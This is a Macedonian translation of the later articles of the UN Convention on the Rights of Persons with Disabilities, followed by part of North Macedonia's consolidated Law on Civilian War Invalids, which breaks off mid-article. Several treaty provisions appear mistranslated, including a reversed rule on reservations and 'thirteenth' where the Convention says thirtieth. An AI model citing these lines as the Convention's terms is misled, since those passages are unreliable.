б. Обезбедување на изучувањето на знаковниот јазик и унапредување на лингвистичкиот идентитет на заедницата на лицата со оштетен слух;
ц. обезбедување дека образованието на лицата, а особено децата, кои се со оштетен вид, со оштетен слух, или со оштетен вид и слух, се спроведува на најсоодветни јазици, начини и средства за комуникација за поединецот и во средини за спроведување на максимален академски и социјален развој.
4. Со цел да се обезбеди остварување на ова право, земјите потписнички ги преземаат соодветните мерки за вработување на наставници, вклучувајќи и наставници со инвалидност, кои се квалификувани за знаковниот јазик и/или Брајовата азбука, како и обучување на професионалци и персонал кој ќе работи на сите образовни нивоа. Овие обуки вклучуваат свест за инвалидност и користење на соодветни аугментативни и алтернативни модели, средства и формати на комуникација, образовни техники и материјали за поддршка на лицата со инвалидност.
5. Земјите потписнички обезбедуваат лицата со инвалидност да имаат пристап до општото високо образование, стручна обука, образование за возрасни и доживотно учење без дискриминација и на еднаква основа со другите. За таа цел, земјите потписнички предвидуваат обезбедување на разумно прилагодување на лицата со инвалидност.

Член 25 – Здравство
Земјите потписнички признаваат дека лицата со инвалидност имаат право да уживаат највисоки здравствени стандарди без дискриминација врз основа на инвалидност. Земјите потписнички ги преземаат сите соодветни мерки, за да обезбедат пристап на лицата со инвалидност до здравствените услуги чувствителни во однос на пол, вклучувајќи и здравствена рехабилитација. Земјите потписнички особено да:
а. обезбедуваат ист обем, квалитет и стандард на бесплатна или достапна медицинска нега на лицата со инвалидност, како и програми кои се обезбедени за другите лица, вклучено и во областа на сексуалното и репродуктивното здравство и програми за здравјето на луѓето засновани на популацијата;
б. обезбедуваат здравствени услуги потребни и специфични за лицата со инвалидност , вклучувајќи и навремено препознавање и соодветна интервенција, како и услуги наменети за намалување и превенција на понатамошните заболувања меѓу децата и постарите лица;
ц. обезбедуваат здравствени служби најблиску до нивните заедници, вклучено и во руралните области;
д. бараат од здравствени професионалци обезбедување ист квалитет на лицата со инвалидност како и на другите, а особено врз основа на слободна и информативна согласност, меѓу другото, преку подигнување на свеста за човековите права, достоинство, самостојност и потреби на лицата со инвалидност, преку обуки и ширење на етички стандарди за јавната и приватната медицинска нега;
е. забрануваат дискриминација на лицата со инвалидност при обезбедувањето на здравствено осигурување и животно осигурување, доколку ова осигурување е опфатено во националното законодавство, кое се спроведува на праведен и разумен начин;
ф. спречуваат дискриминаторско одбивање на медицинска нега или здравствена услуга или храна и течности врз основа на инвалидност.

Член 26 – Хабилитација и рехабилитација
1. Земјите потписнички преземаат ефикасни и соодветни мерки, вклучено и преку еднаква поддршка, за да им се овозможи на лицата со инвалидност да постигнат и одржуваат максимална независност, целосна физичка, ментална, социјална и стручна способност и целосна вклученост и учество во сите аспекти на животот. За таа цел, земјите потписнички организираат, зајакнуваат и опфаќаат обемни услуги и програми за хабилитација и рехабилитација, особено во на услугите во областите на здравство, вработување, образование и социјалните услуги, на начин овие услуги и програми да:
а. се спроведат во најрана фаза и врз основа на мултидисциплинарна проценка на индивидуалните потреби и предности;
б. поддржуваат учество и вклученост во заедницата и во сите аспекти на општеството и да бидат на доброволна основа и расположливи за лицата со инвалидност колку што е можно поблиску до нивните заедници, вклучувајќи ги и руралните области.
2. Земјите потписнички го промовираат развојот на првични и континуирани обуки за професионалци и персонал кој работи во службите за хабилитација и рехабилитација.
3. Земјите потписнички промовираат расположливост, знаење и користење на помагала и технологии, моделирани за лицата со инвалидност кои се однесуваат на хабилитација и рехабилитација.

Член 27 – Работа и вработување
1. Земјите потписнички ги признаваат правата за работа на лицата со инвалидност, на еднаква основа со другите; овде е вклучено правото на можност за заработка за живот преку слободен избор и прифаќање на работа на пазарот за труд и работна средина која е отворена, вклучена и прифатлива за лицата со инвалидност. Земјите потписнички го штитат и промовираат остварувањето на правото на работа, вклучувајќи ги и оние кои се здобиле со инвалидност во текот на вработувањето, преку преземање соодветни чекори, а особено преку законодавство во однос на, меѓу другото:
а. Забрана на дискриминација врз основа на инвалидност во однос на сите проблематики поврзани со сите форми на вработување, вклучено и условите за регрутирање, најмување и вработување, траењето на вработувањето, унапредување во кариерата и безбедни и здрави услови на работа;
б. Заштита на правата на лицата со инвалидност, на еднаква основа со другите, на оправдани и поволни услови на работа, вклучувајќи и еднакви можности и плати за еднакво вредна работа, безбедни и здрави услови за работа, вклучувајќи и заштита од малтретирање и отстранување на причините за поплаки;
ц. Обезбедување дека лицата со инвалидност можат да ги остварат своите работнички и синдикални трудови права на еднаква основа со другите;
д. Обезбедување на лицата со инвалидност да имаат ефикасен пристап до општите програми за техничко и професионално насочување, услуги за распоредување и стручни и континуирани обуки;
е. Промовирање на можностите за вработување и унапредување во кариерата на лицата со инвалидност на пазарот за труд, како и помош во барањето, добивањето, одржувањето и враќањето на работа;
ф. Промовирање на можности за самовработување, претприемништво, развој на заеднички и започнување на сопствена дејност;
г. Вработување на лицата со инвалидност во јавниот сектор;
х. Промовирање на вработувањето на лицата со инвалидност во приватниот сектор преку соодветни политики и мерки, вклучено и афирмативни акциски програми, поттик и други мерки;
и. Обезбедување на разумено прилагодување на лицата со инвалидност на работното место;
ј. Промовирање на здобивањето со работно искуство на отворениот пазар на труд од страна на лицата со инвалидност;
к. Промовирање на стручна и професионална рехабилитација, задржување на работата и програми за враќање на работа за лицата со инвалидност.
2. Земјите потписнички обезбедуваат лицата со инвалидност да не се држат во ропство или потчинетост и да се заштитуваат на еднаква основа со другите од присилна или задолжителна работа.

Член 28 – Соодветен стандард на живеење и социјална заштита
1. Земјите потписнички го признаваат правото на лицата со инвалидност и на нивните семејства за соодветен стандард на живеење, вклучувајќи и соодветна исхрана, облека и домување и континуирано подобрување на условите на живеење и ќе преземат соодветни чекори за заштитна и промовирање на остварувањето на ова право без дискриминација врз основа на инвалидност.
2. Земјите потписнички го признаваат правото на лицата со инвалидност за социјална заштита и уживање на ова право без дискриминација врз основа на инвалидност и ќе ги преземат сите соодветни чекори за заштитна и промовирање на остварувањето на ова право, вклучувајќи ги и мерките за:
а. обезбедување еднаков пристап на лицата со инвалидност, до чиста вода и пристап до соодветни и достапни служби, средства и друга помош за нивните потреби;
б. обезбедување пристап на лицата со инвалидност, особено на жените и девојките со инвалидност и постарите лица со инвалидност, до програми за социјална заштита и за намалување на сиромаштијата;
ц. обезбедување пристап на лицата со инвалидност и на нивните семејства кои живеат во состојба на сиромаштија, помош од земјата поврзана со инвалидност, вклучувајќи и соодветни обуки, советувања, финансиска помош и продолжена нега;
д. обезбедување пристап на лицата со инвалидност до програмите за домување;
е. обезбедување пристап на лицата со инвалидност до пензии и програми за пензионирање.

Член 29 – Учество во политичкиот и јавниот живот
Земјите потписнички им ги гарантираат на лицата со инвалидност политичките права и можноста на ги уживаат, на еднаква основа со другите и се обврзуваат да:
а. Обезбедат на лицата со инвалидност ефикасно и целосно учество во политичкиот и јавниот живот на еднаква основа со другите, непосредно или преку слободно избраните претставници, вклучувајќи го и правото и можноста на лицата со инвалидност да гласаат и да бидат гласани, меѓу другото, преку:
и. обезбедување дека постапките, капацитети и материјалите за гласање се соодветни, достапни и лесно разбирливи за користење;
ии. заштита на правото на лицата со инвалидност да гласаат со тајно гласање во изборите и јавните референдуми без закана и да учествуваат во избори, да преземат должност и извршуваат јавни функции на сите нивоа на раководење, со користење на помошни и нови технологии, доколку е соодветно;
иии. гарантирање на слободно изразување на волјата на лицата со инвалидност како гласачи и за таа цел, доколку е неопходно, на нивно барање, да им се овозможи помош во гласањето од страна на лице по нивен избор;
б. Активно да промовираат средина во која лицата со инвалидност ќе можат ефикасно и целосно да учествуваат во водењето на јавните работи, без дискриминација и на еднаква основа со другите и да се поттикнува нивното учество во јавните работи, вклучувајќи и:
и. учество во невладини организации и здруженија кои се занимаваат со јавниот и политичкиот живот на земјата, како и во активностите и водењето на политичките партии;
ии. основање и пристапување во организации на лицата со инвалидност како претставници на лицата со инвалидност на меѓународно, национално, регионално и локално ниво.

Член 30 – Учество во културниот живот, рекреација, слободни активности и спорт
1. Земјите потписнички го признаваат правото на лицата со инвалидност да учествуваат на еднаква основа со другите во културниот живот и ќе ги преземат сите соодветни мерки за да обезбедат дека лицата со инвалидност:
а. уживаат пристап до културолошки материјали во достапни формати;
б. уживаат пристап до телевизиски програми, филмови, театарски и други културни активности, во достапни формати;
ц. уживаат пристап до места за културни приредби или услуги, како на пример, театри, музеи, кина, библиотеки и туристички услуги, а колку што е можно, пристап до споменици и места од национално културолошко значење.
2. Земјите потписнички преземаат соодветни мерки за да им обезбедат на лицата со инвалидност можност за развој и користење на нивниот креативен, уметнички и интелектуален потенцијал, за нивна корист, како и за придобивка на општеството.
3. Земјите потписнички ги преземаат сите соодветни чекори, во согласност со меѓународното законодавство, за да обезбедат законите за заштита на правата на интелектуална сопственост да не претставуваат неразумна и дискриминаторска препрека за пристап до културолошките материјали на лицата со инвалидност.
4. Лицата со инвалидност имаат право, врз еднаква основа со другите, на признавање и поддршка на нивниот специфичен културен и лингвистички идентитет, вклучено и знаковни јазици и култура на лица со оштетен слух.
5. Со цел да им се обезбеди на лицата со инвалидност учество, врз еднаква основа со другите, во рекреативни, слободни и спортски активности, земјите потписнички ќе преземат соодветни мерки да:
а. поттикнат и промовираат учество, до највисок можен обем, на лицата со инвалидност во интегрирањето во спортските активности на сите нивоа;
б. им обезбедат на лицата со инвалидност можност за организирање, унапредување и учество во спортски и рекреативни активности специфични за лица со инвалидност, а за таа цел поттикнуваат обезбедување, врз еднаква основа со другите, на соодветни инструкции, обуки и ресурси;
ц. им обезбедат на лицата со инвалидност пристап до спортски, рекреативни и туристички објекти;
д. им обезбедат на децата со пречки во развојот еднаков пристап со другите деца да учествуваат во игри, рекреативни, слободни и спортски активности, вклучено и активностите во рамките на училишниот систем;
е. им обезбедат на лицата со инвалидност пристап до службите кои се занимаваат со организирање на рекреативни, туристички, слободни и спортски активности.

Член 31 – Статистики и собирање на податоци
1. Земјите потписнички се обврзува да собираат соодветни информации, вклучувајќи и статистички и истражувачки податоци, со цел да обезбедат формулирање и спроведување на политиките за спроведување на оваа Конвенција. Процесот на собирање и држење на информациите се:
а. придржува до законски утврдените заштитни мерки, вклучувајќи го и законодавство за заштита на податоци, со цел да се обезбеди доверливост и почитување на приватноста на лицата со инвалидност;
б. придржува до меѓународно прифатените норми за заштита на човековите права и основни слободи и етичките начела при собирањето и користењето на статистичките податоци.
2. Информациите собрани во согласност со овој член соодветно се шират и користат со цел да се помогне во оценувањето на спроведувањето на обврските на земјите потписнички според оваа Конвенција и за утврдување и посветување внимание на бариерите со кои се соочуваат лицата со инвалидност при остварувањето на своите права.
3. Земјите потписнички преземаат одговорност за ширење на овие статистички податоци и обезбедување на пристап до истите на лицата со инвалидност и на другите.

Член 32 – Меѓународна соработка
1. Земјите потписнички ја признаваат важноста од меѓународна соработка и нејзино унапредување во поддршката на националните заложби за остварување на намерата и целите на оваа Конвенција и во однос на истото ќе преземат соодветни и ефикасни мерки меѓу земјите, а како што е соодветно и во партнерството со релевантните меѓународни и регионални организации и со граѓанското општество, особено со организациите на лицата со инвалидност. Овие мерки, меѓу другото, можат да содржат:
а. Обезбедување дека меѓународната соработка, вклучувајќи ги и меѓународните програми за развој е вклучена и достапна за лицата со инвалидност;
б. Олеснување и поддршка на зајакнување на капацитетите, вклучено и преку размена и дистрибуција на информации, искуства, програми за обука и најдобри пракси;
ц. Олеснување на соработка во истражувањето и пристапот до научното и техничкото знаење;
д. Соодветно обезбедување на техничка и економска помош, вклучувајќи и олеснување на пристапот и дистрибуцијата на достапни и помошни технологии, а преку трансфер на истите.
2. Одредбите од овој член не се во спротивност со обврските на секоја земја потписничка за исполнување на обврските од оваа Конвенција.

Член 33 – Национално спроведување и следење
1. Земјите потписнички, во согласност со својот систем за организација, назначуваат една или повеќе круцијални точки во рамките на регулирањето на проблематика поврзана со спроведувањето на оваа Конвенција и обезбедуваат должно внимание на утврдувањето или назначувањето на механизми за координација во рамките на регулирањето, со цел поедноставување на акцијата во поединечни сектори и на поединечни нивоа.
2. Земјите потписнички, во согласност со своите правни и административни системи, одржуваат, зајакнуваат, назначуваат или воспоставуваат рамка, вклучувајќи и еден или повеќе независни механизми, како што е неопходно, за промовирање, заштита и следење на спроведувањето на оваа Конвенција. При назначувањето или воспоставувањето на овој механизам, земјите потписнички ќе ги земат предвид начелата поврзани со статусот и функционирањето на националните институции за заштита и унапредување на човековите права.
3. Граѓанското општество, особено лицата со инвалидност и нивните организации, претставници се вклучуваат и во целост учествуваат во процесот на следење.

Член 34 – Конвенција за правата на лица со инвалидност
1. Ќе се основа Комитет за правата на лицата со инвалидност (во понатамошниот текст: „Комитет“), кој ќе ги спроведува долунаведените функции.
2. Комитетот, во периодот на влегување во сила на оваа Конвенција, ќе се состои од дванаесет експерти. По дополнителни шеесет ратификации или пристапувања кон Конвенцијата, членството на Комитетот ќе се зголеми за шест членови, достигнувајќи максимален број од осумнаесет членови.
3. Членовите на Комитетот ќе ги стават на располагање своите лични потенцијали и ќе имаат висока морална репутација и признаена компетентност и искуство на полето кое го опфаќа оваа Конвенција. При номинирањето на своите кандидати, земјите потписнички се повикуваат да обрнат должно внимание на одредбата утврдена во член 4.3 од оваа Конвенција.
4. Членовите на Комитетот се избираат од страна на земјите потписнички, со посебно внимание на правичната географска распореденост, застапеност на поединечните форми на цивилизација и на принципиелните правни системи, рамнотежа на половата застапеност и на учество на експерти со инвалидност.
5. Членовите на Комитетот се избираат со тајно гласање од листата на лица номинирани од страна на граѓаните на земјите потписнички на состаноците на Конференцијата на земјите потписнички. На овие состаноци, на кои две третини од земјите потписнички ќе сочинуваат кворум, ќе бидат избрани оние лица во Комитетот кои ќе добијат најголем број гласови и апсолутно мнозинство на гласови од присутните претставници на земјите потписнички кои гласале.
6. Првичниот избор ќе се одржи најдоцна за шест месеци од денот на влегување во сила на оваа Конвенција. Најмалку четири месеци пред денот на секој избор, Генералниот секретар на Обединетите нации ќе испрати покана до земјите потписнички за доставување на номинирани лица во рок од два месеци. Генералниот секретар последователно ќе подготви список на сите овие номинирани лица по азбучен ред, наведувајќи ги земјите потписнички кои ги номинирале и истиот ќе го достави до земјите потписнички на оваа Конвенција.
7. Членовите на Комитетот се избираат со мандат од четири години. Тие имаат право на уште еден мандат. Меѓутоа, мандатот на шесте членови избрани на првиот избор истекува на крајот на втората година; непосредно по првиот избор, имињата на овие шест членови се избираат со ждрепка од страна на претседателот на состанокот наведен во став 5 од овој член.
8. Изборот на дополнителните шест членови на Комитетот ќе се одржи на редовни избори, во согласност со соодветните одредби од овој член.
9. Доколку член на Комитетот почине или даде оставка или изјава дека од други причини не може повеќе да ги врши своите должности, земјата потписничка која го номинирала членот назначува друг експерт кои поседува квалификации и ги исполнува условите утврдени во соодветните одредби од овој член за останатиот период од мандатот.
10. Комитетот носи правилник за работа.
11. Генералниот секретар на Обединетите нации обезбедува неопходен персонал и капацитети за ефикасно извршување на функциите на Комитетот според оваа Конвенција и го свикува првиот состанок.
12. По одобрување на Генералното собрание, членовите на Комитетот утврден според оваа Конвенција добиваат примања од ресурсите на Обединетите нации под услови кои ги одлучува Собранието, имајќи ја предвид важноста на одговорностите на Комитетот.
13. Членовите на Комитетот има право на средства, привилегии и имунитет на експерти на назначени за Обединетите нации како што е утврдено во соодветните секции на Конвенцијата за привилегии и имунитет на Обединетите нации.

Член 35 – Извештаи на земјите потписнички
1. Секоја земја потписничка до Комитетот, а преку Генералниот секретар на Обединетите нации доставува опширен извештај на мерките преземени за спроведување на обврските според оваа Конвенција и за направениот напредок, во рок од две години по влегувањето во сила на оваа Конвенција.
2. Потоа, земјите потписнички поднесуваат редовни извештаи најмалку на секои четири години и по барање на Комитетот.
3. Комитетот одлучува за насоките кои ќе се применуваат за содржината на овие извештаи.
4. Земја потписничка која има поднесено опширен првичен извештај до Комитетот, во своите следни извештаи не треба да ги повторува информациите дадени претходно. При подготовката на извештаите до Комитетот, земјите потписнички се повикуваат да ги подготват на отворен и транспарентен начин и да обрнат посебно внимание на одредбата утврдена во член 4.3 од оваа Конвенција.
5. Во извештаите може да се наведат факторите и потешкотиите што влијаат врз ефикасното исполнување на обврските од оваа Конвенција.

Член 36 – Разгледување на извештаите
1. Секој извештај се разгледува од страна на Комитетот и дава сугестии и општи препораки за кои ќе смета дека се соодветни и истите ги препраќа до засегнатата земја потписничка. Земјата потписничка може да одговори на Комитетот со информации по нејзин избор. Комитетот може да побара дополнителни информации од земјите потписнички што се релевантни за спроведувањето на оваа Конвенција.
2. Доколку земја потписничка значително задоцни со доставувањето на извештај, Комитетот може да ја извести засегнатата земја потписничка за потребата од преиспитување на спроведувањето на оваа Конвенција во таа земја потписничка, врз основа на конзистентни информации расположливи за Комитетот, доколку релевантниот извештај не е доставен во рок од три месеци по известувањето. Комитетот ја повикува засегнатата земја потписничка да земе учество во ова преиспитување. Доколку земјата потписничка го поднесе релевантниот извештај, се применуваат одредбите од став 1 на овој член.
3. Генералниот секретар на Обединетите нации овие извештаи ги става на располагање на сите земји потписнички.
4. Земјите потписнички ги ставаат своите извештаи на располагање на јавноста во своите земји и овозможуваат пристап на сугестии и општи препораки во однос на истите.
5. Комитетот ги пренесува извештаите од земјите потписнички, како што смета дека е соодветно, до специјализираните агенции, фондови и програми на Обединетите нации и до другите надлежни тела, со цел да се достави барање или индикации на потребата од технички совет или помош што се содржи во истите, заедно со согледувањата и препораките на Комитетот, доколку има, на овие барања или индикации.

Член 37 – Соработка меѓу земјите потписнички и Комитетот
1. Секоја земја потписничка соработува со Комитетот и им помага на своите членови во исполнувањето на нивниот мандат.
2. Во своите односи со земјите потписнички, Комитетот обрнува должно внимание на начините и средствата за подобрување на националните капацитети за спроведување на оваа Конвенција, вклучувајќи и преку меѓународна соработка.

Член 38 – Односи на Комитетот со други тела
Со цел промовирање на ефикасно спроведување на оваа Конвенција и поттикнување на меѓународната соработка на полето опфатено со оваа Конвенција:
а. Специјализирате агенции и други органи на Обединетите нации имаат право да бидат застапени во утврдувањето на спроведувањето на оние одредби на Конвенцијата кои потпаѓаат во рамките на обемот на нивниот мандат. Комитетот може да ги повика специјализираните агенции и другите надлежни тела, за кои смета дека се соодветни за обезбедување експертски совет за спроведувањето на оваа Конвенција од областа која потпаѓа во рамките на обемот на нивните соодветни мандати; Комитетот може да ги повика специјализираните агенции и другите надлежни органи на Обединетите нации да поднесат извештаи за спроведувањето на оваа Конвенција од областа која потпаѓа во рамките на обемот на нивните активности;
б. Комитетот, при истекувањето на неговиот мандат, како што е соодветно, врши консултации со други релевантни тела воспоставени со меѓународните договори за човекови права, со цел да обезбеди доследност на нивните односни извештајни насоки, сугестии и општи препораки, а избегнувајќи повторување и преклопување на извршувањето на нивните функции.

Член 39 – Извештај на Комитетот
Комитетот поднесува извештај на секои две години до Генералното собрание и до Економско-социјалниот совет за своите активности и може да даде сугестии и општи препораки врз основа на разгледувањето на извештаите и информациите добиени од земјите потписнички. Овие сугестии и општи препораки се вклучуваат во извештајот на Комитетот заедно со коментарите, доколку постојат, од земјите потписнички.

Член 40 – Конференција на земјите потписнички
1. Земјите потписнички редовно се состануваат на Конференција на земјите потписнички со цел да ги разгледаат прашањата во однос на спроведувањето на оваа Конвенција.
2. Најдоцна за шест месеци по влегувањето во сила на оваа Конвенција, Генералниот секретар на Обединетите нации ќе свика Конференција на земјите потписнички. Следните состаноци се свикуваат од страна на Генералниот секретар на Обединетите нации на две години или на одлука на Конференција на земјите потписнички.

Член 41 – Депозитар
Генералниот секретар на Обединетите нации е депозитар на оваа Конвенција.

Член 42 – Потпишување
Оваа Конвенција е отворена за потпишување од страна на сите земји и од регионални организации за интеграција во седиштето на Обединетите нации во Њујорк од 30 март 2007 година.

Член 43 – Согласност за обврзување
Конвенцијата подлежи на ратификација од страна на земјите потписници и на формална конфирмација од страна на регионалните организации за интеграција на потписничките. Истата е отворена за пристапување од страна на секоја земја или регионална организација за интеграција која што не ја потпишала Конвенција.

Член 44 – Регионални организации за интеграција
1. „Регионална организација за интеграција“, значи организација конституирана од страна на суверени земји од одреден регион на која нејзините земји членки ја пренеле надлежноста во однос на проблематика која ја регулира оваа Конвенција. Овие организации, во своите инструменти за формална конфирмација или пристапување, го наведуваат обемот на својата надлежност во однос на проблематиката која ја регулира оваа Конвенција. Според тоа, тие го известуваат депозитарот за секоја значајна измена во обемот на нивната надлежност.
2. Упатувањата на „земјите потписнички“ во оваа Конвенција се применуваат на овие организации во рамките на ограничувањата на нивната надлежност.
3. За целите на член 45, став 1 и член 47, став 2 и 3, секој инструмент депониран од страна на регионална организација за интеграција нема да се вбројува.
4. Регионалните организации за интеграција, во проблематика во рамките на нивната надлежност, можат да го остваруваат своето право на глас на Конференцијата на земјите потписнички, според бројот на гласови еднаков на бројот на нивните земји членки кои се потписнички на Конвенцијата. Оваа организација не го остварува своето право на глас, доколку една од земјите членки го остварува своето право и обратно.

Член 45 – Влегување во сила
1. Оваа Конвенција влегува во сила на тринаесеттиот ден по депонирањето на дваесеттиот инструмент за ратификација или пристапување.
2. За секоја земја или регионална организација за интеграција која ја ратификува, формално ја прифаќа или пристапува на Конвенцијата по депонирањето на дваесеттиот инструмент, Конвенцијата влегува во сила на тринаесеттиот ден по депонирањето на нејзиниот инструмент.

Член 46 – Услови
1. Условите некомпатибилни на предметот и целта на оваа Конвенција нема да се забранат.
2. Условите можат да се повлечат во секое време.

Член 47 – Измени и дополнувања
1. Секоја земја потписничка може да предложи измени и дополнувања на оваа Конвенција и да го поднесе до Генералниот секретар на Обединетите нации. Генералниот секретар ги доставува сите предложени измени и дополнувања до земјите потписнички со барање да објават дали бараат конференција на земјите потписнички за потребите на разгледување и одлучување за предлозите. Во тој случај, во рок од четири месеци од денот на ова известување, доколку најмалку една третина од земјите потписнички бараат конференција, Генералниот секретар свикува конференција под покровителство на Обединетите нации. Секој амандман донесен од мнозинство на две третини од земјите потписнички се доставува од страна на Генералниот секретар до Генералното собрание на одобрување, а потоа до сите земјите потписнички на прифаќање.
2. Амандман донесен и одобрен во согласност со став 1 од овој член влегува во сила на тринаесеттиот ден откако бројот на депонираните инструменти на прифаќање достигне две третини од земјите потписнички на денот на донесувањето на амандманот. Потоа, амандманот влегува во сила за секоја земја потписничка на триесеттиот ден по депонирањето на нејзиниот инструмент за прифаќање. Амандманот е обврзувачки само за оние земјите потписнички кои го прифатиле.
3. Доколку Конференцијата на земјите потписнички со консензус одлучи, амандман донесен и одобрен во согласност со став 1 од овој член, кој се однесува само на член 34, 38, 39 и 40 влегува во сила за сите земјите потписнички на тринаесеттиот ден откако бројот на депонираните инструменти на прифаќање достигне две третини од бројот на земјите потписнички на денот на донесувањето на амандманот.

Член 48 – Отстапување
Земја потписничка може да отстапи од оваа Конвенција со писмено известување до Генералниот секретар на Обединетите нации. Отстапувањето е важечко една година по датумот на приемот на известувањето од страна на Генералниот секретар.

Член 49 – Прифатлив формат
Текстот на оваа Конвенција станува достапен во прифатлив формат.

Член 50 – Автентични текстови
Арапскиот, кинескиот, англискиот, францускиот, рускиот и шпанскиот текст на оваа Конвенција, се целосно автентични. Како сведоци на долупотпишаните ополномоштени, законски овластени од страна на соодветните Влади, ја потпишаа оваа Конвенција.

ЗАКОН ЗА ЦИВИЛНИТЕ ИНВАЛИДИ ОД ВОЈНАТА ЗАКОН ЗА ЦИВИЛНИТЕ ИНВАЛИДИ ОД ВОЈНАТА

ЗАКОН ЗА ЦИВИЛНИТЕ ИНВАЛИДИ ОД ВОЈНАТА ЗАКОН ЗА ЦИВИЛНИТЕ ИНВАЛИДИ ОД ВОЈНАТА
консолидиран текст
Закон за цивилните инвалиди од војната („Службен лист на СФРЈ“ бр.33/1976,
25/1979, 11/1981, 4/1985, 12/1989, 17/1991, 38/1991 и „Службен весник на Република
Македонија“ бр.81/1999, 165/2008; 12/2009 и 161/2009).
I. ОСНОВНИ ОДРЕДБИ I. ОСНОВНИ ОДРЕДБИ
Член 1
Co овој закон се регулираат правата на цивилните инвалиди од војната,
условите за стекнување и постапката за остварување на правата.
Член 2
Цивилен инвалид од војната, според овој закон, се смета:
1. лице кај кое настапило оштетување на организмот како последица на
ранување или повреди, настанати од тероризирање и лишување од слобода од
страна на окупаторот или неговите помагачи (жртва на фашистичкиот терор);
2. лице кај кое настапило оштетување на организмот како последица на
ранување или повреди, настанати во врска со воените операции:
бомбардирање, улични борби, заталкан куршум и др. (жртва на воените
дејствија);
3. лице кај кое настапило оштетување на организмот како последица на
ранување или повреди здобиени од заостанат воен материјал (жртва на
заостанат воен материјал) и
4. лице кај кое настапило оштетување на организмот како последица на
ранување или повреди настанати во врска со терористички акции (жртва на
терористички акции).
Член 3
Права на заштита според овој закон имаат државјани на СФРЈ, жртви на
фашистичкиот терор, жртви на воените дејствија, жртви на заостанат воен
материјал и жртви на терористички акции со трајно оштетување на
организмот од најмалку 60% (во натамошниот текст, цивилни инвалиди од
војната).
Член 4
Немаат право на заштита според овој закон цивилни лица со оштетување на
организмот што го здобиле како активни припадници и помагачи на
непријателски воени и други формации, како и цивилните лица кај кои
оштетувањето на организмот настапило како последица на нивни дејствија
насочени кон здобивање со материјална корист од заостанат воен материјал.
Право според овој закон не можат да остварат лицата кои такво право
остваруваат по друг основ.

II. ПРАВА И УСЛОВИ ЗА ОСТВАРУВАЊЕ НА ПРАВАТА II. ПРАВА И УСЛОВИ ЗА ОСТВАРУВАЊЕ НА ПРАВАТА
Член 5
Цивилните инвалиди од војната можат да ги остварат следните права:
1. цивилна инвалиднина;
2. додаток за нега и помош од друго лице;
3. здравствена заштита;
4. професионална рехабилитација и
5. ортопедски помагала.
Член 6
Правата според одредбите на овој закон се лични права.
Член 7
Ha цивилните инвалиди од војната им припаѓа цивилна инвалиднина според
степенот на оштетувањето на нивниот организам, независно од нивната
материјална положба.
Цивилните инвалиди од војната според степенот на оштетувањето на
организмот се распоредуваат во следните групи:
I група со 100% инвалидитет
II група со 90% .
III група со 80% .
IV група со 70% .
V група со 60% .

Процена односно наод и мислење за инвалидитетот и распоредувањето на
цивилните инвалиди од војната во групи го врши надлежна лекарска комисија,
на начин и постапка пропишана со прописите за воените инвалиди.
Надлежна комисија, во смисла на претходниот став, се смета комисија
основана за преглед на воените инвалиди за подрачјето на кое цивилниот
инвалид од војната има живеалиште.
Член 8
Висината на цивилната инвалиднина за цивилните инвалиди од војната се
утврдува според личната инвалиднина на воените инвалиди од I-та група која
изнесува 36.126,00 денари. Висината на месечниот износ на личната
инвалиднина се усогласува со порастот на трошоците на живот за претходната
година објавени од Државниот завод за статистика, во јануари за тековната
година.
Висината на цивилната инвалиднина за цивилните инвалиди од војната се
утврдува за:
– I-та група -100% од личната инвалиднина на I-та група воени инвалиди кои
користат нега и помош од друго лице;

– II-та група – 73% од цивилната инвалиднина на I-та група цивилни инвалиди
од војната;

– III-та група – 55% од цивилната инвалиднина на I-та група цивилни инвалиди
од војната;

– IV-та група – 40% од цивилната инвалиднина на I-та група цивилни инвалиди
од војната; и

– V-та група – 30% од цивилната инвалиднина на I-та група цивилни инвалиди
од војната

Член 9
Право на додаток за нега и помош од друго лице има цивилен инвалид од
војната, под услови утврдени со прописите за воените инвалиди, а во висина од
100% од ова право на воените инвалиди.
Цивилната инвалиднина од член 9 став 1 на овој закон и додатокот за помош и
нега од друго лице од став 1 на овој член се валоризираат на ист начин како и за
воените инвалиди, а во процент утврден во член 9 став 1 на овој член.
Член 10
Цивилен инвалид од војната, кој не е здравствено осигуран по друг основ, има
право на здравствена заштита според прописите за здравствена заштита и
здравствено осигурување.
Член 11
.За цивилниот инвалид од војната, кој не е здравствено осигуран по друг основ,
Центарот за социјална работа поднесува пријава за здравствено осигурување
во Фондот за здравствено ocигурувањe.
Средствата за придонес за здравствено осигурување на цивилните инвалиди
од војната од став 1 на овој член се обезбедуваат во Републичкиот буџет.
Член 12
Право на професионална рехабилитација му припаѓа на цивилен инвалид од
војната, под услови и на начин утврдени со прописите за инвалидското
осигурување на работниците.
Член 13
Правото остварено според овој закон се губи:
. со смртта на цивилниот инвалид од војната;
. со престанување на државјанството на СФРЈ и
. со осудување на казна затвор за кривично дело против народот и државата.
Член 14
Ha цивилниот инвалид од војната, кој со правосилна судска пресуда е осуден
на казна затвор подолга од 6 месеци, за време на извршувањето на казната не
му припаѓаат правата признаени според одредбите на овој закон.
Член 15
Финансирањето на обврските што произлегуваат од овој закон се врши со
средства од Републичкиот буџет.
III. ПОСТАПКА ЗА ОСТВАРУВАЊЕ НА ПРАВАТА III. ПОСТАПКА ЗА ОСТВАРУВАЊЕ НА ПРАВАТА
Член 16
За правата по овој закон по барање на цивилниот инвалид од војната во прв
степен решава центарот за социјална работа на чие подрачје подносителот на
барањето има живеалиште.
По жалба против решението на првостепениот орган решава Министерството
за труд и социјална политика
Член 17
Првостепениот орган е должен по службена должност да прибави докази за
утврдување на фактите односно околностите под кои настанало оштетувањето
на организмот на барателот.
Член 18
Правото по овој закон тече од првиот ден на наредниот месец по поднесеното
барање и трае се додека постојат услови за користење на тоа право.
Член 19
Барање за признавање на правата утврдени со овој закон може да се поднесе
до 31 декември 1989 година.
Лицата кај кои ќе настапат повреди од заостанат воен материјал или од
терористички акции, по влегувањето во сила на овој закон, барање за
признавање на правата можат да поднесуваат во рок од една година по
настапувањето на повредите.
Член 20
Решението донесено во прв степен, со кое се утврдува правото според овој
закон, подлежи на ревизија.
Ревизијата од претходниот став по службена должност ја врши
Министерството за труд и социјална политика
Ако против првостепеното решение е изјавена жалба, за ревизијата и жалбата
се решава со исто решение.
Ревизијата и жалбата не го одлагаат извршувањето на првостепеното решение.
Член 21
Bo вршењето на ревизијата второстепениот орган може првостепеното
решение да го: потврди, измени, поништи или укине на штета или во корист на
странката.
Првостепениот орган чие решение во ревизијата е поништено или укинато и
вратено на повторно решавање, донесува ново решение.
Новото првостепено решение подлежи на ревизија во која се испитува само
